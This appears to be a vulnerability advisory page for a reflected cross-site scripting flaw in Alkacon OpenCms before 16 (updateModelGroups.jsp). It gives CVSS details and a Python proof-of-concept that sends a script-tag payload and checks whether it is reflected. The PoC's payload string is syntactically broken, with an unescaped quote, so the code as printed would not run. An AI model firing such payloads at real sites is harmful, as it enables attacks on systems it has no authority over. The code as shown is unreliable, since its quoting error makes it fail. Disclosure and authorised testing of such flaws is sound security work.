A Cross Site Scripting vulnerability in Alkacon OpenCms before 16 exists via updateModelGroups.jsp.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Alkacon OpenCms < 16.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (replace with actual target)
target_url = "http://localhost:8080/opencms/system/workplace/admin/accounts/updateModelGroups.jsp"
# Malicious payload to test XSS
# Attempting to inject a script tag that triggers an alert
payload = {
"modelid": "test"><script>alert('CVE-2023-42345-XSS')</script><"
}
try:
# Send GET request with the malicious payload
response = requests.get(target_url, params=payload)
# Check if the payload is reflected in the response unescaped
if "alert('CVE-2023-42345-XSS')" in response.text:
print("[+] Vulnerability confirmed: XSS payload reflected in response.")
else:
print("[-] Vulnerability not detected or payload filtered.")
except Exception as e:
print(f"Error: {e}")